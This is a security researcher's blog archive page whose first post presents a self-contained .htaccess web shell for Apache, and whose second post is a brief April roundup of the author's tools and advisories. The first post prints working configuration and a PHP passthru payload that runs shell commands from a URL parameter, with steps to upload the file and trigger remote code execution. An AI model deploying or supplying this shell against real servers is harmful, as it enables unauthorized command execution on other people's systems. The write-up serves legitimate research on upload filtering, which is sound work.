Eldar Marcussen: May 2011 Archives

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

This works by first diverting the default apache .htaccess access restriction from within the .htaccess file so we can access it as a url. Next we reconfigure the .htaccess extension to be treated as a dynamic content script and finally we have our payload. The attack works because the .htaccess parsing and processing for apache configuration directives occur before the .htaccess file is processed as a web request. There is a relatively small gotcha, the payload has to be commented out with a # at the start so it doesn't get interpreted by apache and likewise, the script interpreter must ignore the apache directives. PHP lends itself well to this as any content not within the <?php ?> tags are presented as is.

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

Simply upload the preferred shell as a .htaccess file and then visit the .htaccess file via the url http://domain/path/.htaccess?c=command for remote code execution. The collection of attack files are collectively accessible from my github htshells repository.

Update: Due to the large number of comments on this post I have created more project information including a FAQ and tutorial under the project page.
Well April sped past like a bullet. I missed updates to the blog as I migrated to yet another hosting provider. By now I have done it so many times that the core shift only takes about 10 minutes work and some rsync commands. As usually I forget a few bits and pieces. If you have had any email bounces to me then please resend to the usual wireghoul address.

So here is a quick roundup of April:
  • charmunge.pl was the April addition to Jason
  • Graudit gets closer to 2.0 release
  • My first 2011 advisory went out (JAHx111)
  • No April tutorial happened.
And that is it for April. For the remainder of May there will be another update to Jason, two tutorials, more graudit updates, one or more advisories and if you're going to AusCERT and want to catch up for a beer/coffee let me know!
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